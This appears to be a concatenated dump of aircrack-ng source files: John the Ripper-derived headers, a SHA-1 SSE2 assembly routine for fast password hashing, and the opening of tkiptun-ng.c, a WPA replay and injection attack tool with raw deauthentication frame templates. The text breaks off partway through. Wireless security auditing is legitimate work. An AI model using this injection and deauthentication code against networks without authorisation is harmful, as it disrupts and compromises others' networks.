aircrack-ng-1.2-rc4/src/sse-intrinsics-load-flags.h0000644000000000000000000001144512640667310020657 0ustar rootroot/* * Based on John the Ripper and modified to integrate with aircrack * * John the Ripper copyright and license. * * John the Ripper password cracker, * Copyright (c) 1996-2013 by Solar Designer. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * As a special exception to the GNU General Public License terms, * permission is hereby granted to link the code of this program, with or * without modification, with any version of the OpenSSL library and/or any * version of unRAR, and to distribute such linked combinations. You must * obey the GNU GPL in all respects for all of the code used other than * OpenSSL and unRAR. If you modify this program, you may extend this * exception to your version of the program, but you are not obligated to * do so. (In other words, you may release your derived work under pure * GNU GPL version 2 or later as published by the FSF.) * * (This exception from the GNU GPL is not required for the core tree of * John the Ripper, but arguably it is required for -jumbo.) * * Relaxed terms for certain components. * * In addition or alternatively to the license above, many components are * available to you under more relaxed terms (most commonly under cut-down * BSD license) as specified in the corresponding source files. * * For more information on John the Ripper licensing please visit: * * http://www.openwall.com/john/doc/LICENSE.shtml * * New flags added for sha2 by JimF 2013. This change, and * all other modifications to this file by Jim are released with the following terms: * No copyright is claimed, and the software is hereby placed in the public domain. * In case this attempt to disclaim copyright and place the software in the public * domain is deemed null and void, then the software is Copyright (c) 2011 JimF * and it is hereby released to the general public under the following * terms: This software may be modified, redistributed, and used for any * purpose, in source and binary forms, with or without modification. */ #ifndef __SSE_INTRINS_LOAD_FLAGS__ #define __SSE_INTRINS_LOAD_FLAGS__ /*************************************************************** * WARNING!!!! any changes to these numbers requires a new * build of sse-intrinsics-32.S and sse-intrinsics-64.S ***************************************************************/ typedef enum { SSEi_MIXED_IN=0x0, // input is an array of 16 __m128i ints that are properly SSE interleaved. This is for 4 passwords (or 2 for 64 bit crypts). The data will be copied into a on the stack workspace SSEi_FLAT_IN=0x1, // input is an array of 4 64 (2 128 for 64 bit crypts) byte 'flat' values, instead of a properly SSE 'mixed' 64 uint32's. /**** NOTE, only 1 of the above 2 can be used, AND the buffer must properly match. ****/ SSEi_RELOAD=0x2, // crypt key will be results of last crypt SSEi_RELOAD_INP_FMT=0x6, // (note contains SSEi_RELOAD bit also, it is 2&4) crypt key will be results of last crypt, however, it is in 'INPUT' format. Will not matter, unless PARA > 1 SSEi_OUTPUT_AS_INP_FMT=0x8, // Write final output, using 'INPUT' format. Will not matter, unless PARA > 1 SSEi_SWAP_FINAL=0x10, // swap results into machine native endianity. Normally, results are left in crypt endianity SSEi_SKIP_FINAL_ADD=0x20, // do NOT do a=a+init. ONLY valid if not doing reload, AND if format did out[0]-=init in binary. SSEi_2BUF_INPUT=0x40, // input array is 2x in size. SSEi_2BUF_INPUT_FIRST_BLK=(0x40|0x80), // input array 2x in size. This is the first block, so we MUST rotate element 14/15 if in flat mode. SSEi_4BUF_INPUT=0x100, // input array is 4x in size (This is seen in the dynamic type, for sha256. We have 256 byte input buffers there). SSEi_4BUF_INPUT_FIRST_BLK=(0x100|0x200), // input array 4x in size. This is the first block, so we MUST rotate element 14/15 if in flat mode. // this are specific to SHA2 hashes. Can be the same bit, since only 1 will be used (i.e. it is not valid to do SSE_CRYPT_SHA224|SSE_CRYPT_SHA224 and expect both to be loaded) // WARNING, SHA224 requires a FULL SHA256 width output buffer, and SHA384 requires a full SHA512 width output buffer. This is to allow proper reloading and doing multi-limb crypts. SSEi_CRYPT_SHA224=0x1000, // use SHA224 IV. SSEi_CRYPT_SHA384=0x1000 // use SHA384 IV. } SSEi_FLAGS; #endif /* __SSE_INTRINS_LOAD_FLAGS__ */ aircrack-ng-1.2-rc4/src/sha1-sse2.S0000644000000000000000000004760112640667310015357 0ustar rootroot // SHA-1 SSE2 implementation, (C) 2008 Alvaro Salmador (naplam33@msn.com), ported from Simon Marechal's SHA-1 MMX - License: GPLv2 // SHA-1 MMX implementation, (C) 2005 Simon Marechal (simon@banquise.net) - License: Public Domain // This code computes two (with sse now four) SHA-1 digests at the same time. It // doesn't take care of padding (0x80 and size << 3), so make // sure the last input block is properly padded. Both 64-byte // input blocks must be (four bytes) interleaved. // In addition, as a special exception, the copyright holders give // permission to link the code of portions of this program with the // OpenSSL library under certain conditions as described in each // individual source file, and distribute linked combinations // including the two. // You must obey the GNU General Public License in all respects // for all of the code used other than OpenSSL. * If you modify // file(s) with this exception, you may extend this exception to your // version of the file(s), but you are not obligated to do so. * If you // do not wish to do so, delete this exception statement from your // version. * If you delete this exception statement from all source // files in the program, then also delete it here. #if defined(__x86_64__) && defined(__APPLE__) #define PRELOAD(x) #define MANGLE(x) x(%rip) #define INIT_PIC() #define END_PIC() #else #ifdef __PIC__ #ifdef __x86_64__ #define PRELOAD(x) movq x@GOTPCREL(%rip), %rbx; #define MANGLE(x) (%rbx) #define INIT_PIC() pushq %rbx #define END_PIC() popq %rbx #else #undef __i686 /* gcc builtin define gets in our way */ #define PRELOAD(x) #define MANGLE(x) x ## @GOTOFF(%ebx) #define INIT_PIC() \ call __i686.get_pc_thunk.bx ; \ addl $_GLOBAL_OFFSET_TABLE_, %ebx #define END_PIC() #endif #else #define PRELOAD(x) #define MANGLE(x) x #define INIT_PIC() #define END_PIC() #endif #endif #if defined(__i386__) || defined(__x86_64__) .globl shasse2_init; .globl shasse2_ends; .globl shasse2_data; .globl shasse2_cpuid; .globl _shasse2_init; .globl _shasse2_ends; .globl _shasse2_data; .globl _shasse2_cpuid; .data #ifdef __APPLE__ .align(12) #else .align(16) #endif const_init_a: .long 0x67452301 .long 0x67452301 .long 0x67452301 .long 0x67452301 const_init_b: .long 0xEFCDAB89 .long 0xEFCDAB89 .long 0xEFCDAB89 .long 0xEFCDAB89 const_init_c: .long 0x98BADCFE .long 0x98BADCFE .long 0x98BADCFE .long 0x98BADCFE const_init_d: .long 0x10325476 .long 0x10325476 .long 0x10325476 .long 0x10325476 const_init_e: .long 0xC3D2E1F0 .long 0xC3D2E1F0 .long 0xC3D2E1F0 .long 0xC3D2E1F0 const_stage0: .long 0x5A827999 .long 0x5A827999 .long 0x5A827999 .long 0x5A827999 const_stage1: .long 0x6ED9EBA1 .long 0x6ED9EBA1 .long 0x6ED9EBA1 .long 0x6ED9EBA1 const_stage2: .long 0x8F1BBCDC .long 0x8F1BBCDC .long 0x8F1BBCDC .long 0x8F1BBCDC const_stage3: .long 0xCA62C1D6 .long 0xCA62C1D6 .long 0xCA62C1D6 .long 0xCA62C1D6 const_ff00: .long 0xFF00FF00 .long 0xFF00FF00 .long 0xFF00FF00 .long 0xFF00FF00 const_00ff: .long 0x00FF00FF .long 0x00FF00FF .long 0x00FF00FF .long 0x00FF00FF #define ctxa %xmm0 #define ctxb %xmm1 #define ctxc %xmm2 #define ctxd %xmm3 #define ctxe %xmm4 #define tmp1 %xmm5 #define tmp2 %xmm6 #define tmp3 %xmm7 #define tmp4 ctxa #define tmp5 ctxb #ifdef __x86_64__ #define edx_rsi %rsi #define ecx_rdx %rdx #define eax_rdi %rdi #else #define edx_rsi %edx #define ecx_rdx %ecx #define eax_rdi %eax #endif // movdqa movapd #define F0(x,y,z) \ movdqa x, tmp2; \ movdqa x, tmp1; \ pand y, tmp2; \ pandn z, tmp1; \ por tmp2, tmp1; #define F1(x,y,z) \ movdqa z, tmp1; \ pxor y, tmp1; \ pxor x, tmp1 #define F2(x,y,z) \ movdqa x, tmp1; \ movdqa x, tmp2; \ pand y, tmp1; \ por y, tmp2; \ pand z, tmp2; \ por tmp2, tmp1; #if defined(__x86_64__) && defined(__CYGWIN__) #define subRoundX(a, b, c, d, e, f, k, data) \ f(b,c,d); \ movdqa a, tmp2; \ movdqa a, tmp3; \ paddd tmp1, e; \ pslld $5, tmp2; \ psrld $27, tmp3; \ por tmp3, tmp2; \ paddd tmp2, e; \ movdqa b, tmp2; \ pslld $30, b; \ paddd MANGLE(k), e; \ psrld $2, tmp2; \ por tmp2, b; \ movdqa (data*16)(edx_rsi), tmp1; \ movdqa tmp1, tmp2; \ pand MANGLE(const_ff00), tmp1; \ pand MANGLE(const_00ff), tmp2; \ psrld $8, tmp1; \ pslld $8, tmp2; \ por tmp2, tmp1; \ movdqa tmp1, tmp2; \ psrld $16, tmp1; \ pslld $16, tmp2; \ por tmp2, tmp1; \ movdqa tmp1, (data*16)(ecx_rdx); \ paddd tmp1, e; #else #define subRoundX(a, b, c, d, e, f, k, data) \ f(b,c,d); \ movdqa a, tmp2; \ movdqa a, tmp3; \ paddd tmp1, e; \ pslld $5, tmp2; \ psrld $27, tmp3; \ por tmp3, tmp2; \ paddd tmp2, e; \ movdqa b, tmp2; \ pslld $30, b; \ PRELOAD(k) \ paddd MANGLE(k), e; \ psrld $2, tmp2; \ por tmp2, b; \ movdqa (data*16)(edx_rsi), tmp1; \ movdqa tmp1, tmp2; \ PRELOAD(const_ff00) \ pand MANGLE(const_ff00), tmp1; \ PRELOAD(const_00ff) \ pand MANGLE(const_00ff), tmp2; \ psrld $8, tmp1; \ pslld $8, tmp2; \ por tmp2, tmp1; \ movdqa tmp1, tmp2; \ psrld $16, tmp1; \ pslld $16, tmp2; \ por tmp2, tmp1; \ movdqa tmp1, (data*16)(ecx_rdx); \ paddd tmp1, e; #endif #if defined(__x86_64__) && defined(__CYGWIN__) #define subRoundY(a, b, c, d, e, f, k, data) \ movdqa ((data- 3)*16)(ecx_rdx), tmp1; \ pxor ((data- 8)*16)(ecx_rdx), tmp1; \ pxor ((data-14)*16)(ecx_rdx), tmp1; \ pxor ((data-16)*16)(ecx_rdx), tmp1; \ movdqa tmp1, tmp2; \ pslld $1, tmp1; \ psrld $31, tmp2; \ por tmp2, tmp1; \ movdqa tmp1, (data*16)(ecx_rdx); \ paddd tmp1, e; \ f(b,c,d); \ movdqa a, tmp2; \ movdqa a, tmp3; \ paddd tmp1, e; \ pslld $5, tmp2; \ psrld $27, tmp3; \ por tmp3, tmp2; \ paddd tmp2, e; \ movdqa b, tmp2; \ pslld $30, b; \ paddd MANGLE(k), e; \ psrld $2, tmp2; \ por tmp2, b; #else #define subRoundY(a, b, c, d, e, f, k, data) \ movdqa ((data- 3)*16)(ecx_rdx), tmp1; \ pxor ((data- 8)*16)(ecx_rdx), tmp1; \ pxor ((data-14)*16)(ecx_rdx), tmp1; \ pxor ((data-16)*16)(ecx_rdx), tmp1; \ movdqa tmp1, tmp2; \ pslld $1, tmp1; \ psrld $31, tmp2; \ por tmp2, tmp1; \ movdqa tmp1, (data*16)(ecx_rdx); \ paddd tmp1, e; \ f(b,c,d); \ movdqa a, tmp2; \ movdqa a, tmp3; \ paddd tmp1, e; \ pslld $5, tmp2; \ psrld $27, tmp3; \ por tmp3, tmp2; \ paddd tmp2, e; \ movdqa b, tmp2; \ pslld $30, b; \ PRELOAD(k) \ paddd MANGLE(k), e; \ psrld $2, tmp2; \ por tmp2, b; #endif .text // arg 1 (eax) (64bit: rdi): context (4*20 bytes) shasse2_init: _shasse2_init: INIT_PIC() #if !defined(__x86_64__) && !defined(__CYGWIN__) PRELOAD(const_init_a) #endif movdqa MANGLE(const_init_a), ctxa #if !defined(__x86_64__) && !defined(__CYGWIN__) PRELOAD(const_init_b) #endif movdqa MANGLE(const_init_b), ctxb #if !defined(__x86_64__) && !defined(__CYGWIN__) PRELOAD(const_init_c) #endif movdqa MANGLE(const_init_c), ctxc #if !defined(__x86_64__) && !defined(__CYGWIN__) PRELOAD(const_init_d) #endif movdqa MANGLE(const_init_d), ctxd #if !defined(__x86_64__) && !defined(__CYGWIN__) PRELOAD(const_init_e) #endif movdqa MANGLE(const_init_e), ctxe movdqa ctxa, 0(eax_rdi) movdqa ctxb, 16(eax_rdi) movdqa ctxc, 32(eax_rdi) movdqa ctxd, 48(eax_rdi) movdqa ctxe, 64(eax_rdi) END_PIC() ret // arg 1 (eax) (64bit: rdi): context (4*20 bytes) // arg 2 (edx) (64bit: rsi) : digests (4*20 bytes) shasse2_ends: _shasse2_ends: INIT_PIC() movdqa 0(eax_rdi), ctxa movdqa 16(eax_rdi), ctxb movdqa 32(eax_rdi), ctxc movdqa 48(eax_rdi), ctxd movdqa 64(eax_rdi), ctxe #if !defined(__x86_64__) && !defined(__CYGWIN__) PRELOAD(const_ff00) #endif movdqa MANGLE(const_ff00), tmp3 movdqa ctxa, tmp1 movdqa ctxb, tmp2 pand tmp3, ctxa pand tmp3, ctxb #if !defined(__x86_64__) && !defined(__CYGWIN__) PRELOAD(const_00ff) #endif movdqa MANGLE(const_00ff), tmp3 pand tmp3, tmp1 pand tmp3, tmp2 psrld $8, ctxa psrld $8, ctxb pslld $8, tmp1 pslld $8, tmp2 por tmp1, ctxa por tmp2, ctxb movdqa ctxa, tmp1 movdqa ctxb, tmp2 psrld $16, ctxa psrld $16, ctxb pslld $16, tmp1 pslld $16, tmp2 por tmp1, ctxa por tmp2, ctxb movdqa ctxa, 0(edx_rsi) movdqa ctxb, 16(edx_rsi) #if !defined(__x86_64__) && !defined(__CYGWIN__) PRELOAD(const_ff00) #endif movdqa MANGLE(const_ff00), tmp5 movdqa ctxc, tmp1 movdqa ctxd, tmp2 movdqa ctxe, tmp3 pand tmp5, ctxc pand tmp5, ctxd pand tmp5, ctxe #if !defined(__x86_64__) && !defined(__CYGWIN__) PRELOAD(const_00ff) #endif movdqa MANGLE(const_00ff), tmp5 pand tmp5, tmp1 pand tmp5, tmp2 pand tmp5, tmp3 psrld $8, ctxc psrld $8, ctxd psrld $8, ctxe pslld $8, tmp1 pslld $8, tmp2 pslld $8, tmp3 por tmp1, ctxc por tmp2, ctxd por tmp3, ctxe movdqa ctxc, tmp1 movdqa ctxd, tmp2 movdqa ctxe, tmp3 psrld $16, ctxc psrld $16, ctxd psrld $16, ctxe pslld $16, tmp1 pslld $16, tmp2 pslld $16, tmp3 por tmp1, ctxc por tmp2, ctxd por tmp3, ctxe movdqa ctxc, 32(edx_rsi) movdqa ctxd, 48(edx_rsi) movdqa ctxe, 64(edx_rsi) END_PIC() ret // arg 1 (eax) (64bit: rdi): context (4*20 bytes) // arg 2 (edx) (64bit: rsi): input data (4*64 bytes) // arg 3 (ecx) (64bit: rdx): workspace (1280 bytes) shasse2_data: _shasse2_data: INIT_PIC() movdqa 0(eax_rdi), ctxa movdqa 16(eax_rdi), ctxb movdqa 32(eax_rdi), ctxc movdqa 48(eax_rdi), ctxd movdqa 64(eax_rdi), ctxe round0: prefetchnta (edx_rsi) subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0, 0 ); subRoundX( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0, 1 ); subRoundX( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0, 2 ); subRoundX( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0, 3 ); subRoundX( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0, 4 ); subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0, 5 ); subRoundX( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0, 6 ); subRoundX( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0, 7 ); subRoundX( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0, 8 ); subRoundX( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0, 9 ); subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0, 10 ); subRoundX( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0, 11 ); subRoundX( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0, 12 ); subRoundX( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0, 13 ); subRoundX( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0, 14 ); subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0, 15 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0, 16 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0, 17 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0, 18 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0, 19 ); round1: subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 20 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 21 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 22 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 23 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 24 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 25 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 26 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 27 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 28 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 29 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 30 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 31 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 32 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 33 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 34 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 35 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 36 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 37 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 38 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 39 ); round2: subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 40 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 41 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 42 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 43 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 44 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 45 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 46 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 47 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 48 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 49 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 50 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 51 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 52 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 53 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 54 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 55 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 56 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 57 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 58 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 59 ); round3: subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 60 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 61 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 62 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 63 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 64 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 65 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 66 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 67 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 68 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 69 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 70 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 71 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 72 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 73 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 74 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 75 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 76 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 77 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 78 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 79 ); paddd 0(eax_rdi), ctxa paddd 16(eax_rdi), ctxb paddd 32(eax_rdi), ctxc paddd 48(eax_rdi), ctxd paddd 64(eax_rdi), ctxe movdqa ctxa, 0(eax_rdi) movdqa ctxb, 16(eax_rdi) movdqa ctxc, 32(eax_rdi) movdqa ctxd, 48(eax_rdi) movdqa ctxe, 64(eax_rdi) END_PIC() ret // returns 0 if neither MMX nor SSE2 are supported; 1 if MMX is supported; 2 if SSE2 is also supported shasse2_cpuid: _shasse2_cpuid: #ifndef __x86_64__ pushfl pushfl popl %eax movl %eax, %ecx xorl $0x200000, %eax push %eax popfl pushfl popl %eax popfl xorl %ecx, %eax jnz do_cpuid ret do_cpuid: #endif #ifdef __x86_64__ push %rbx push %rcx push %rdx #else push %ebx push %ecx push %edx #endif movl $1, %eax cpuid testl $0x00800000, %edx // bit 23 (MMX) jz no_mmx testl $0x04000000, %edx // bit 26 (SSE2) jz mmx_only // sse2 supported: movl $2, %eax jmp cpuid_exit mmx_only: movl $1, %eax jmp cpuid_exit no_mmx: movl $0, %eax cpuid_exit: #ifdef __x86_64__ pop %rdx pop %rcx pop %rbx #else pop %edx pop %ecx pop %ebx #endif ret #ifdef __i386__ #ifdef __PIC__ #ifndef __APPLE__ .section .gnu.linkonce.t.__i686.get_pc_thunk.bx,"ax",@progbits #endif .globl __i686.get_pc_thunk.bx #ifdef __APPLE__ .private_extern __i686.get_pc_thunk.bx #else .hidden __i686.get_pc_thunk.bx .type __i686.get_pc_thunk.bx,@function #endif __i686.get_pc_thunk.bx: movl (%esp), %ebx ret #endif #endif #endif #ifdef __ELF__ .section .note.GNU-stack,"",%progbits #endif aircrack-ng-1.2-rc4/src/misc.h0000644000000000000000000001346112640667310014626 0ustar rootroot/* * Based on John the Ripper and modified to integrate with aircrack * * John the Ripper copyright and license. * * John the Ripper password cracker, * Copyright (c) 1996-2013 by Solar Designer. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * As a special exception to the GNU General Public License terms, * permission is hereby granted to link the code of this program, with or * without modification, with any version of the OpenSSL library and/or any * version of unRAR, and to distribute such linked combinations. You must * obey the GNU GPL in all respects for all of the code used other than * OpenSSL and unRAR. If you modify this program, you may extend this * exception to your version of the program, but you are not obligated to * do so. (In other words, you may release your derived work under pure * GNU GPL version 2 or later as published by the FSF.) * * (This exception from the GNU GPL is not required for the core tree of * John the Ripper, but arguably it is required for -jumbo.) * * Relaxed terms for certain components. * * In addition or alternatively to the license above, many components are * available to you under more relaxed terms (most commonly under cut-down * BSD license) as specified in the corresponding source files. * * For more information on John the Ripper licensing please visit: * * http://www.openwall.com/john/doc/LICENSE.shtml * * This file is part of John the Ripper password cracker, * Copyright (c) 1996-99,2003 by Solar Designer * * ...with changes in the jumbo patch, by JimF and magnum. * * Redistribution and use in source and binary forms, with or without * modification, are permitted. * * There's ABSOLUTELY NO WARRANTY, express or implied. */ /* * Miscellaneous routines. */ #ifndef _MISC_H #define _MISC_H #include #if (__MINGW32__ && !__MINGW64__) || _MSC_VER // Later versions of MSVC can handle %lld but some older // ones can only handle %I64d. Easiest to simply use // %I64d then all versions of MSVC will handle it just fine #define LLu "%I64u" #define LLd "%I64d" #define LLx "%I64x" #define Zu "%u" #define Zd "%d" #else #define LLu "%llu" #define LLd "%lld" #define LLx "%llx" #define Zu "%zu" #define Zd "%zd" #endif #if !AC_BUILT # include # ifndef _MSC_VER # include # endif #else # include "autoconfig.h" # if STRING_WITH_STRINGS # include # include # elif HAVE_STRING_H # include # elif HAVE_STRINGS_H # include # endif #endif /* * Exit on error. Logs the event, closes john.pot and the log file, and * terminates the process with non-zero exit status. */ extern void real_error(char *file, int line) #ifdef __GNUC__ __attribute__ ((__noreturn__)); #else ; #endif #define error(...) real_error(__FILE__, __LINE__) /* * Exit on error with message. Will call real_error to do * the final exiting, after printing error message. */ extern void real_error_msg(char *file, int line, char *format, ...) #ifdef __GNUC__ __attribute__ ((__noreturn__)) __attribute__ ((format (printf, 3, 4))); #else ; #endif #define error_msg(...) perror(__VA_ARGS__) /* * Similar to perror(), but supports formatted output, and calls error(). */ extern void real_pexit(char *file, int line, char *format, ...) #ifdef __GNUC__ __attribute__ ((__noreturn__)) __attribute__ ((format (printf, 3, 4))); #else ; #endif #define pexit(...) \ { \ perror(__VA_ARGS__); \ clean_exit(FAILURE); \ } /* * Attempts to write all the supplied data. Returns the number of bytes * written, or -1 on error. */ extern int write_loop(int fd, const char *buffer, int count); /* * Similar to fgets(), but doesn't leave the newline character in the buffer, * and skips to the end of long lines. Handles both Unix and DOS style text * files correctly. */ extern char *fgetl(char *s, int size, FILE *stream); /* * Similar to strncpy(), but terminates with only one NUL if there's room * instead of padding to the supplied size like strncpy() does. */ extern char *strnfcpy(char *dst, const char *src, int size); /* * Similar to the above, but always NUL terminates the string. */ extern char *strnzcpy(char *dst, const char *src, int size); /* * Similar to the strnzcpy, but returns the length of the string. */ extern int strnzcpyn(char *dst, const char *src, int size); /* * Similar to strncat(), but total buffer size is supplied, and always NUL * terminates the string. */ extern char *strnzcat(char *dst, const char *src, int size); /* * Similar to atoi(), but properly handles unsigned int. Do not use * atoi() for unsigned data if the data can EVER be over MAX_INT. */ extern unsigned atou(const char *src); /* * Similar to strtok(), but properly handles adjacent delmiters as * empty strings. strtok() in the CRTL merges adjacent delimiters * and sort of 'skips' them. This one also returns 'empty' tokens * for any leading or trailing delims. strtok() strips those off * also. */ char *strtokm(char *s1, const char *delimit); #ifndef __has_feature # define __has_feature(x) 0 #endif #if /* is ASAN enabled? */ \ __has_feature(address_sanitizer) /* Clang */ || \ defined(__SANITIZE_ADDRESS__) /* GCC 4.8.x */ #define ATTRIBUTE_NO_ADDRESS_SAFETY_ANALYSIS \ __attribute__((no_address_safety_analysis)) \ __attribute__((noinline)) #define WITH_ASAN #else #define ATTRIBUTE_NO_ADDRESS_SAFETY_ANALYSIS #endif #endif aircrack-ng-1.2-rc4/src/tkiptun-ng.c0000644000000000000000000040342412604051314015757 0ustar rootroot/* * 802.11 WPA replay & injection attacks * * Copyright (C) 2008, 2009 Martin Beck * * WEP decryption attack (chopchop) developed by KoreK * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #if defined(linux) #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "version.h" #include "pcap.h" #include "osdep/osdep.h" #include "crypto.h" #include "common.h" #include "eapol.h" #define RTC_RESOLUTION 8192 #define REQUESTS 30 #define MAX_APS 20 #define NEW_IV 1 #define RETRY 2 #define ABORT 3 #define DEAUTH_REQ \ "\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00" #define AUTH_REQ \ "\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ 